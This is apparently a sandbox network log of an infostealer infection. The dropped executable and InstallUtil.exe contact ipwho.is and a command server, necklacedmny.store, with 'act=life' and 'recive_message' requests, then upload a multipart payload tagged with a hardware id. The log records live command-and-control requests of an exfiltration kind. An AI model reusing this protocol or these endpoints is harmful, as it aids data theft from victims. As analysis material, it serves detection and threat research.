2024-10-29 04:02:18 UTC	1369	IN	Data Raw: 02 02 28 0f 00 00 2b dd 5d 00 00 00 02 7b 38 00 00 04 0c 02 7c 38 00 00 04 fe 15 1d 00 00 01 02 15 25 0a 7d 31 00 00 04 12 02 28 a7 00 00 0a 12 02 fe 15 1d 00 00 01 dd 1a 00 00 00 0d 02 1f fe 7d 31 00 00 04 02 7c 32 00 00 04 09 28 a8 00 00 0a dd 13 00 00 00 02 1f fe 7d 31 00 00 04 02 7c 32 00 00 04 28 a9 00 00 0a 2a 00 00 00 01 10 00 00 00 00 07 00 bc c3 00 1a 09 00 00 01 1b 30 05 00 22 01 00 00 27 00 00 11 02 7b 3b 00 00 04 0a 06 39 1b 00 00 00 02 7b 3d 00 00 04 7b 23 00 00 04 3a 0b 00 00 00 72 3b 04 00 70 73 55 00 00 0a 7a 00 06 39 6b 00 00 00 02 7b 3d 00 00 04 7b 23 00 00 04 02 7b 3e 00 00 04 02 7b 3f 00 00 04 02 7b 40 00 00 04 02 7b 41 00 00 04 6f a2 00 00 0a 02 7b 41 00 00 04 6f a3 00 00 0a 0b 12 01 28 a4 00 00 0a 0c 12 02 28 a5 00 00 0a 3a 3f 00 00 Data Ascii: (+]{8\|8%}1(}1\|2(}1\|2(*0"'{;9{={#:r;psUz9k{={#{>{?{@{Ao{Ao((:?
2024-10-29 04:02:18 UTC	1369	IN	Data Raw: 0a 0b 12 01 28 bb 00 00 0a 0c 12 02 28 bc 00 00 0a 3a 3f 00 00 00 02 16 25 0a 7d d5 00 00 0a 02 08 7d db 00 00 0a 02 7c d4 00 00 0a 12 02 02 28 15 00 00 2b dd 73 00 00 00 02 7b db 00 00 0a 0c 02 7c db 00 00 0a fe 15 3b 00 00 1b 02 15 25 0a 7d d5 00 00 0a 12 02 28 be 00 00 0a 12 02 fe 15 3b 00 00 1b 0d 02 7b d6 00 00 0a 09 7d d7 00 00 0a 02 14 7d d6 00 00 0a dd 1c 00 00 00 13 04 02 1f fe 7d d5 00 00 0a 02 7c d4 00 00 0a 11 04 28 a8 00 00 0a dd 13 00 00 00 02 1f fe 7d d5 00 00 0a 02 7c d4 00 00 0a 28 a9 00 00 0a 2a 00 00 00 01 10 00 00 00 00 07 00 ca d1 00 1c 09 00 00 01 1b 30 05 00 95 01 00 00 2c 00 00 11 02 7b dc 00 00 0a 0a 06 39 39 00 00 00 73 dd 00 00 0a 0b 07 02 7b de 00 00 0a 7d d9 00 00 0a 07 02 7b df 00 00 0a 7d da 00 00 0a 02 7b e0 00 00 0a 7b 23 Data Ascii: ((:?%}}\|(+s{\|;%}(;{}}}\|(}\|(*0,{99s{}{}{{#
2024-10-29 04:02:18 UTC	1369	IN	Data Raw: 06 05 7d 97 00 00 04 03 16 3c 10 00 00 00 72 70 05 00 70 72 86 05 00 70 73 34 00 00 0a 7a 04 3a 0b 00 00 00 72 f0 05 00 70 73 35 00 00 0a 7a 06 7b 97 00 00 04 3a 0b 00 00 00 72 e0 05 00 70 73 35 00 00 0a 7a 06 17 03 28 fc 00 00 0a 04 28 17 00 00 2b 7d 96 00 00 04 06 fe 06 02 01 00 06 73 36 00 00 0a 06 7b 95 00 00 04 6f b9 00 00 06 73 41 01 00 06 2a 00 00 13 30 03 00 82 00 00 00 37 00 00 11 73 04 01 00 06 0a 06 02 7d 99 00 00 04 06 05 7d 9b 00 00 04 03 16 3c 10 00 00 00 72 70 05 00 70 72 86 05 00 70 73 34 00 00 0a 7a 04 3a 0b 00 00 00 72 f0 05 00 70 73 35 00 00 0a 7a 06 7b 9b 00 00 04 3a 0b 00 00 00 72 e0 05 00 70 73 35 00 00 0a 7a 06 17 03 28 fc 00 00 0a 04 28 17 00 00 2b 7d 9a 00 00 04 06 fe 06 05 01 00 06 73 36 00 00 0a 06 7b 99 00 00 04 6f b9 00 00 06 Data Ascii: }<rpprps4z:rps5z{:rps5z((+}s6{osA*07s}}<rpprps4z:rps5z{:rps5z((+}s6{o
2024-10-29 04:02:18 UTC	1369	IN	Data Raw: 04 28 17 00 00 2b 7d bc 00 00 04 06 fe 06 21 01 00 06 73 39 00 00 0a 06 7b bb 00 00 04 6f b9 00 00 06 73 42 01 00 06 2a 00 00 13 30 03 00 2c 00 00 00 35 00 00 11 7e 84 00 00 04 25 3a 17 00 00 00 26 7e 7c 00 00 04 fe 06 f2 00 00 06 73 30 00 00 0a 25 80 84 00 00 04 0a 02 03 06 28 e7 00 00 06 2a 13 30 02 00 64 00 00 00 40 00 00 11 73 24 01 00 06 0a 06 02 7d c0 00 00 04 06 03 7d c1 00 00 04 06 04 7d c2 00 00 04 06 7b c1 00 00 04 3a 0b 00 00 00 72 1c 06 00 70 73 35 00 00 0a 7a 06 7b c2 00 00 04 3a 0b 00 00 00 72 e0 05 00 70 73 35 00 00 0a 7a 06 fe 06 25 01 00 06 73 39 00 00 0a 06 7b c0 00 00 04 6f b9 00 00 06 73 42 01 00 06 2a 13 30 02 00 64 00 00 00 41 00 00 11 73 27 01 00 06 0a 06 02 7d c4 00 00 04 06 03 7d c5 00 00 04 06 04 7d c6 00 00 04 06 7b c5 00 00 04 Data Ascii: (+}!s9{osB0,5~%:&~\|s0%(0d@s$}}}{:rps5z{:rps5z%s9{osB*0dAs'}}}{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49757	147.135.36.89	443	5064	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:02:29 UTC	150	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0 Host: ipwho.is Connection: Keep-Alive
2024-10-29 04:02:29 UTC	223	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:02:29 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Server: ipwhois Access-Control-Allow-Headers: * X-Robots-Tag: noindex
2024-10-29 04:02:29 UTC	1032	IN	Data Raw: 33 66 63 0d 0a 7b 0a 20 20 20 20 22 41 62 6f 75 74 20 55 73 22 3a 20 22 68 74 74 70 73 3a 5c 2f 5c 2f 69 70 77 68 6f 69 73 2e 69 6f 22 2c 0a 20 20 20 20 22 69 70 22 3a 20 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 22 2c 0a 20 20 20 20 22 73 75 63 63 65 73 73 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 22 74 79 70 65 22 3a 20 22 49 50 76 34 22 2c 0a 20 20 20 20 22 63 6f 6e 74 69 6e 65 6e 74 22 3a 20 22 4e 6f 72 74 68 20 41 6d 65 72 69 63 61 22 2c 0a 20 20 20 20 22 63 6f 6e 74 69 6e 65 6e 74 5f 63 6f 64 65 22 3a 20 22 4e 41 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 54 65 78 61 Data Ascii: 3fc{ "About Us": "https:\/\/ipwhois.io", "ip": "173.254.250.72", "success": true, "type": "IPv4", "continent": "North America", "continent_code": "NA", "country": "United States", "country_code": "US", "region": "Texa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49835	188.114.97.3	443	892	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:02:42 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-29 04:02:42 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-29 04:02:43 UTC	1028	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:02:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c48kc7bvgib0i03g8mm91lifc6; expires=Fri, 21 Feb 2025 21:49:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mBdG%2Fv8SwzVyWTOOeF2iRm9YK7cdA%2FP%2Fv6gMrvZA2DTk68nCuC5FWRh5%2FCeF6OYVQllXER4LZukhYZo44RX%2F7dbPYVB0E9h%2Fl%2FsH%2B9Y%2BY5%2BeUAnoaACnBnzrCU4%2FgDSLs4JBSeI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da045893836c871-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1243&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2253696&cwnd=97&unsent_bytes=0&cid=d5824e60d35a20cf&ts=563&x=0"
2024-10-29 04:02:43 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-29 04:02:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49844	188.114.97.3	443	892	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:02:43 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-29 04:02:43 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-29 04:02:44 UTC	1017	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:02:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2cf6b2g3ko5rpm7l1upccp8bmb; expires=Fri, 21 Feb 2025 21:49:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b9P8TK8ydx9lJkMdZf687Ry0%2FX9ob0TTb24vOBajy9cr8puwSktelVSfdHp946bNxDq4sv8%2FbdSFxP9c42SXBal%2Bqjx9O5nVSdvMS5RF8m%2BmEI%2BQUHBBFJFw5CicBDXOMojQpTA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da04590bb2368f9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1604&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=2387469&cwnd=242&unsent_bytes=0&cid=39e8d2d10081800d&ts=521&x=0"
2024-10-29 04:02:44 UTC	352	IN	Data Raw: 63 63 32 0d 0a 5a 39 4a 70 51 44 46 79 7a 33 53 74 45 5a 33 48 70 36 4e 59 57 70 52 76 79 62 6d 6f 50 65 54 79 75 4a 72 62 68 65 59 37 38 44 63 63 38 42 39 69 43 30 62 6a 56 74 35 30 76 2f 33 54 30 53 30 2f 75 45 32 6f 33 59 6f 48 67 70 50 55 36 62 36 70 78 45 32 64 46 56 32 30 43 43 78 43 46 2b 4e 57 79 47 6d 2f 2f 66 7a 59 65 6a 2f 36 54 66 4f 62 7a 56 65 47 6b 39 54 34 75 75 36 4a 53 35 78 55 44 37 34 4f 4b 46 51 52 71 78 58 42 66 50 69 69 77 73 49 79 4e 50 30 43 6f 64 53 4b 45 63 61 58 77 72 6a 68 70 36 74 65 68 46 59 71 73 78 6f 72 45 77 2f 6a 44 34 39 30 38 2b 57 64 67 54 6b 2f 39 67 4f 76 33 63 4e 56 6a 4a 72 63 2b 62 2f 76 6c 6c 4b 57 58 77 2b 77 44 53 6c 65 47 4c 38 59 79 33 76 7a 70 4d 6a 43 65 6e 61 32 43 72 4f 62 6b 68 2f 56 6f 74 6e 70 71 50 Data Ascii: cc2Z9JpQDFyz3StEZ3Hp6NYWpRvybmoPeTyuJrbheY78Dcc8B9iC0bjVt50v/3T0S0/uE2o3YoHgpPU6b6pxE2dFV20CCxCF+NWyGm//fzYej/6TfObzVeGk9T4uu6JS5xUD74OKFQRqxXBfPiiwsIyNP0CodSKEcaXwrjhp6tehFYqsxorEw/jD4908+WdgTk/9gOv3cNVjJrc+b/vllKWXw+wDSleGL8Yy3vzpMjCena2CrObkh/VotnpqP
2024-10-29 04:02:44 UTC	1369	IN	Data Raw: 53 48 61 30 45 78 33 6a 30 6f 4e 66 4b 4d 7a 58 37 44 61 62 52 78 56 79 47 6c 39 44 79 74 75 32 41 56 4a 39 54 42 62 42 4c 62 42 4d 58 74 56 61 58 4d 39 79 67 31 63 59 32 4c 72 51 33 36 38 53 45 52 73 61 58 31 72 6a 68 70 34 78 63 6b 56 59 4f 76 77 67 71 57 41 4b 74 42 4d 6c 2b 2b 72 66 44 78 44 51 79 39 52 2b 68 31 63 78 63 6a 35 76 54 2f 62 37 6a 78 42 66 53 55 68 33 77 55 32 4a 79 48 61 59 61 78 57 54 2f 35 64 71 50 49 33 6a 78 41 65 75 44 69 6c 75 48 6c 4e 76 38 74 2b 6d 41 56 5a 52 62 43 4c 38 4e 4b 46 4d 58 70 78 37 48 63 76 4b 75 79 73 45 2f 4e 66 49 4c 70 39 72 50 48 38 6a 51 33 65 44 35 76 38 52 33 6c 56 59 58 38 6a 34 68 58 52 36 71 41 49 39 73 73 62 79 46 78 6a 5a 34 72 6b 32 6c 33 73 56 4e 68 34 4c 66 39 71 76 72 67 56 2b 66 56 67 75 77 44 69 Data Ascii: SHa0Ex3j0oNfKMzX7DabRxVyGl9Dytu2AVJ9TBbBLbBMXtVaXM9yg1cY2LrQ368SERsaX1rjhp4xckVYOvwgqWAKtBMl++rfDxDQy9R+h1cxcj5vT/b7jxBfSUh3wU2JyHaYaxWT/5dqPI3jxAeuDiluHlNv8t+mAVZRbCL8NKFMXpx7HcvKuysE/NfILp9rPH8jQ3eD5v8R3lVYX8j4hXR6qAI9ssbyFxjZ4rk2l3sVNh4Lf9qvrgV+fVguwDi
2024-10-29 04:02:44 UTC	1369	IN	Data Raw: 41 49 39 73 73 62 79 46 78 6a 5a 34 72 6b 32 6e 30 73 70 55 6a 4a 54 61 2f 37 54 69 68 31 36 52 57 41 4b 36 42 53 56 58 48 4b 51 62 79 58 50 34 6f 63 44 54 50 7a 48 36 41 65 75 56 69 6c 69 65 30 49 4b 34 6c 75 43 53 57 72 31 57 46 4c 6c 4c 50 52 30 4a 37 52 48 44 4d 36 66 6c 77 73 51 79 4d 2f 41 46 71 38 6e 50 55 59 32 52 30 50 36 34 36 6f 68 66 6b 6c 51 46 74 67 63 69 56 42 65 2f 42 4d 70 31 37 61 2b 46 6a 33 6f 2f 37 6b 33 7a 6d 2f 78 50 6b 59 48 4d 75 6f 7a 6b 69 6c 65 56 51 30 57 76 52 54 73 54 46 36 46 57 6c 7a 50 30 70 63 6e 47 4d 6a 37 79 42 61 54 55 77 30 32 48 6e 4e 54 71 76 75 65 4e 56 35 31 5a 44 4c 30 4d 4c 31 67 61 6f 42 4c 49 63 72 2f 72 68 63 59 69 65 4b 35 4e 6e 63 76 48 55 36 69 62 31 76 48 35 2b 4d 70 41 30 6c 49 4a 38 46 4e 69 56 78 79 Data Ascii: AI9ssbyFxjZ4rk2n0spUjJTa/7Tih16RWAK6BSVXHKQbyXP4ocDTPzH6AeuVilie0IK4luCSWr1WFLlLPR0J7RHDM6flwsQyM/AFq8nPUY2R0P646ohfklQFtgciVBe/BMp17a+Fj3o/7k3zm/xPkYHMuozkileVQ0WvRTsTF6FWlzP0pcnGMj7yBaTUw02HnNTqvueNV51ZDL0ML1gaoBLIcr/rhcYieK5NncvHU6ib1vH5+MpA0lIJ8FNiVxy
2024-10-29 04:02:44 UTC	183	IN	Data Raw: 2f 71 67 77 63 59 2b 50 76 6c 4e 35 5a 76 4e 52 38 62 49 6d 74 65 65 30 73 5a 34 71 42 55 61 2f 68 4a 69 56 42 7a 74 54 6f 39 2f 2f 4b 6e 4e 7a 6a 77 78 2b 67 65 69 30 4d 5a 55 67 70 7a 54 2f 62 2f 6d 67 56 79 54 55 51 6d 36 44 53 46 51 48 36 49 5a 78 7a 4f 78 35 63 4c 5a 65 6d 43 32 4b 4c 7a 51 78 46 6e 47 6a 35 54 68 2b 65 43 49 47 63 6f 56 43 62 6b 4e 4a 46 59 63 72 42 44 48 64 76 65 68 78 4d 63 38 4f 2f 6b 4a 72 74 72 46 57 34 71 65 30 50 6d 34 36 34 39 57 6d 56 42 46 2f 6b 73 6c 53 31 44 31 56 76 35 77 36 62 4c 56 7a 58 6f 6e 75 42 0d 0a Data Ascii: /qgwcY+PvlN5ZvNR8bImtee0sZ4qBUa/hJiVBztTo9//KnNzjwx+gei0MZUgpzT/b/mgVyTUQm6DSFQH6IZxzOx5cLZemC2KLzQxFnGj5Th+eCIGcoVCbkNJFYcrBDHdvehxMc8O/kJrtrFW4qe0Pm4649WmVBF/kslS1D1Vv5w6bLVzXonuB
2024-10-29 04:02:44 UTC	1369	IN	Data Raw: 33 37 61 61 0d 0a 54 72 33 4d 59 66 33 74 44 62 36 72 50 74 69 6c 79 64 55 41 61 2f 44 43 39 56 48 4b 63 66 78 33 58 77 72 4e 66 43 4e 6a 62 78 41 36 66 56 78 31 57 46 6e 5a 71 32 2b 65 43 63 47 63 6f 56 4b 62 63 47 44 46 67 63 71 6c 62 51 50 65 62 6c 77 73 31 36 59 4c 59 42 6f 64 66 44 58 34 2b 56 30 76 4f 77 34 6f 56 53 6c 31 59 44 76 51 51 72 51 52 71 75 47 4d 78 2f 38 36 50 45 77 69 67 77 2f 30 33 6c 6d 38 31 48 78 73 69 61 32 62 66 71 6b 46 36 43 46 52 72 2b 45 6d 4a 55 48 4f 31 4f 6a 33 44 2b 71 73 62 41 4e 7a 37 2f 42 61 76 64 7a 31 43 4c 6e 74 33 2f 75 65 71 4b 56 70 52 64 43 4c 77 41 4c 46 6f 57 72 52 66 46 4d 37 48 6c 77 74 6c 36 59 4c 59 39 71 4e 76 4b 52 4d 61 50 6c 4f 48 35 34 49 67 5a 79 68 55 58 75 67 49 69 55 42 2b 71 45 73 52 2f 2b 71 44 Data Ascii: 37aaTr3MYf3tDb6rPtilydUAa/DC9VHKcfx3XwrNfCNjbxA6fVx1WFnZq2+eCcGcoVKbcGDFgcqlbQPeblws16YLYBodfDX4+V0vOw4oVSl1YDvQQrQRquGMx/86PEwigw/03lm81Hxsia2bfqkF6CFRr+EmJUHO1Oj3D+qsbANz7/Bavdz1CLnt3/ueqKVpRdCLwALFoWrRfFM7Hlwtl6YLY9qNvKRMaPlOH54IgZyhUXugIiUB+qEsR/+qD
2024-10-29 04:02:44 UTC	1369	IN	Data Raw: 4f 6c 44 73 70 76 4e 55 38 62 49 6d 76 6d 31 36 49 64 57 6b 56 59 45 75 68 6b 77 58 78 6d 6c 45 38 4e 34 38 61 50 58 78 7a 55 78 39 51 36 69 33 4d 4a 54 6a 4a 50 64 75 50 65 6e 67 30 48 53 44 55 57 54 48 44 4a 65 55 4c 4a 59 31 6a 50 34 71 59 57 5a 65 6a 44 37 42 61 48 66 7a 56 4b 42 6c 74 50 71 73 4f 4b 4b 57 5a 5a 65 43 72 59 50 49 56 4d 43 71 78 4c 48 63 50 4b 6f 79 38 49 2b 65 4c 68 4e 72 4d 4f 4b 42 38 61 69 31 2f 61 69 36 49 4e 49 6d 42 55 61 2f 68 4a 69 56 42 7a 74 54 6f 39 33 38 62 66 4f 77 44 45 7a 2b 41 71 6b 33 73 42 66 69 5a 54 5a 39 72 4c 6d 68 31 47 66 57 41 75 36 41 69 74 55 48 4b 6b 52 6a 7a 32 2f 6f 74 32 42 59 6e 6a 64 4c 49 62 33 7a 55 58 47 6a 35 54 68 2b 65 43 49 47 63 6f 56 43 62 6b 48 4b 46 67 58 70 78 6a 47 66 66 53 33 31 38 49 2b Data Ascii: OlDspvNU8bImvm16IdWkVYEuhkwXxmlE8N48aPXxzUx9Q6i3MJTjJPduPeng0HSDUWTHDJeULJY1jP4qYWZejD7BaHfzVKBltPqsOKKWZZeCrYPIVMCqxLHcPKoy8I+eLhNrMOKB8ai1/ai6INImBUa/hJiVBztTo938bfOwDEz+Aqk3sBfiZTZ9rLmh1GfWAu6AitUHKkRjz2/ot2BYnjdLIb3zUXGj5Th+eCIGcoVCbkHKFgXpxjGffS318I+
2024-10-29 04:02:44 UTC	1369	IN	Data Raw: 2f 64 77 31 6d 46 6c 4a 71 32 2b 65 43 63 47 63 6f 56 4b 4c 77 4d 43 31 51 4c 37 51 6d 42 61 72 2b 69 79 59 46 69 65 50 63 47 6f 64 54 48 58 49 43 54 30 66 32 7a 35 6f 4e 52 6e 30 63 47 76 77 51 6d 55 78 2b 72 45 4d 35 38 2b 61 4c 4d 77 44 49 2f 74 6b 50 72 33 4e 49 66 33 74 44 30 2f 37 72 6a 78 45 62 63 54 45 57 33 42 32 49 4c 55 4b 30 63 78 58 6e 78 70 63 4c 54 50 44 48 32 44 72 6e 59 7a 46 65 41 6e 4e 62 31 73 65 36 45 58 4a 6c 59 44 72 30 4e 49 6c 67 52 37 56 69 50 64 4f 66 6c 6e 59 45 4c 4e 66 67 4a 70 64 6a 61 57 4d 61 50 6c 4f 48 35 34 49 67 5a 79 68 55 4b 75 52 6b 6c 56 68 69 6b 46 73 46 36 39 71 4c 42 77 6a 73 38 2b 67 4b 69 32 4d 4a 65 6a 70 2f 5a 2b 4c 4c 76 6a 6c 69 63 55 45 58 2b 53 79 56 4c 55 50 56 57 34 48 44 36 72 73 53 44 48 54 37 78 41 Data Ascii: /dw1mFlJq2+eCcGcoVKLwMC1QL7QmBar+iyYFiePcGodTHXICT0f2z5oNRn0cGvwQmUx+rEM58+aLMwDI/tkPr3NIf3tD0/7rjxEbcTEW3B2ILUK0cxXnxpcLTPDH2DrnYzFeAnNb1se6EXJlYDr0NIlgR7ViPdOflnYELNfgJpdjaWMaPlOH54IgZyhUKuRklVhikFsF69qLBwjs8+gKi2MJejp/Z+LLvjlicUEX+SyVLUPVW4HD6rsSDHT7xA
2024-10-29 04:02:44 UTC	1369	IN	Data Raw: 66 33 74 44 76 2b 37 66 70 67 30 2b 44 47 43 4b 71 42 69 52 45 41 65 31 59 6a 33 57 2f 2f 5a 57 50 65 6a 7a 6e 54 66 4f 4c 6d 41 54 54 77 34 32 6f 36 2f 6a 4b 51 4e 4a 44 52 65 68 5a 62 42 4d 43 37 55 36 50 4e 50 79 33 31 38 63 35 4c 76 56 4b 6c 65 58 6b 57 49 43 56 33 65 6a 37 79 59 39 4e 6c 52 56 4c 38 41 52 69 43 79 6e 74 58 6f 39 4d 73 65 58 64 67 57 4a 34 77 77 36 6c 31 63 31 4a 6c 39 33 30 2f 37 2f 69 67 30 6e 51 65 77 36 6b 44 47 49 64 55 4b 74 57 6c 79 4f 78 35 63 48 51 65 6d 43 6d 58 2f 43 4f 6d 51 6a 57 77 73 57 32 6f 4b 65 53 47 63 6f 48 53 2f 41 5a 59 67 74 51 36 68 58 64 59 66 6d 6d 30 38 4a 39 42 73 67 4f 76 64 62 46 56 49 65 75 35 4e 61 30 35 6f 64 58 30 47 51 54 76 52 73 68 56 68 65 54 4b 4d 46 30 36 36 4c 4c 78 7a 70 34 75 45 32 6b 6d 35 Data Ascii: f3tDv+7fpg0+DGCKqBiREAe1Yj3W//ZWPejznTfOLmATTw42o6/jKQNJDRehZbBMC7U6PNPy318c5LvVKleXkWICV3ej7yY9NlRVL8ARiCyntXo9MseXdgWJ4ww6l1c1Jl930/7/ig0nQew6kDGIdUKtWlyOx5cHQemCmX/COmQjWwsW2oKeSGcoHS/AZYgtQ6hXdYfmm08J9BsgOvdbFVIeu5Na05odX0GQTvRshVheTKMF066LLxzp4uE2km5
2024-10-29 04:02:44 UTC	1369	IN	Data Raw: 33 75 6e 35 76 39 51 4c 79 51 42 57 35 31 74 77 54 46 36 30 56 74 6b 7a 70 2f 65 4c 67 53 68 34 72 6b 33 73 32 4e 68 4e 67 4a 50 4d 2b 2f 37 5a 75 6e 36 63 55 67 53 6d 47 79 39 66 4d 61 34 48 78 55 33 42 73 4d 62 50 4e 44 2f 67 48 4f 75 56 69 6c 44 47 79 4f 4f 34 38 61 65 37 46 39 4a 4e 52 65 68 4c 46 31 41 65 6f 78 48 5a 59 72 4b 43 79 38 59 37 4c 75 59 41 70 2f 72 4a 54 6f 7a 51 6c 4c 69 2f 70 39 77 4c 33 42 55 42 6f 55 74 36 41 30 4c 32 51 35 77 6b 72 2f 66 61 6a 79 4e 34 34 45 33 7a 69 59 51 66 6c 4e 43 43 75 50 37 6b 6c 6b 75 55 56 68 4f 7a 54 42 78 74 4e 62 6f 56 33 33 58 38 6d 2f 76 71 4e 6a 37 78 46 36 7a 64 37 48 2f 47 33 70 72 33 2b 62 2b 39 47 64 6f 56 4f 76 35 4c 4f 68 4e 49 37 53 50 4d 66 66 47 69 30 39 42 33 48 65 45 4f 75 39 33 4a 48 38 6a Data Ascii: 3un5v9QLyQBW51twTF60Vtkzp/eLgSh4rk3s2NhNgJPM+/7Zun6cUgSmGy9fMa4HxU3BsMbPND/gHOuVilDGyOO48ae7F9JNRehLF1AeoxHZYrKCy8Y7LuYAp/rJTozQlLi/p9wL3BUBoUt6A0L2Q5wkr/fajyN44E3ziYQflNCCuP7klkuUVhOzTBxtNboV33X8m/vqNj7xF6zd7H/G3pr3+b+9GdoVOv5LOhNI7SPMffGi09B3HeEOu93JH8j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49854	188.114.97.3	443	892	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:02:45 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
2024-10-29 04:02:45 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 30 44 32 45 43 39 32 32 33 45 34 39 30 41 31 44 41 38 41 44 44 37 38 30 44 39 44 37 42 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"10D2EC9223E490A1DA8ADD780D9D7B6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 04:02:57 UTC	1018	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:02:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4tob9olm1cvb09tlj8vbuid3sg; expires=Fri, 21 Feb 2025 21:49:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bhJQqruEF%2F6DALidgApWRamGx31ZE9nHo0Jr2bet9oocl6UFhnZsAFAWcU62Sw69KvpW1Dz8Mi6EIaoSJiigGxgX5ZN556Z%2FzaXLRqwS8tJ%2FIyUy80lOPMiq2NN8W5MI0gKS1y0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare 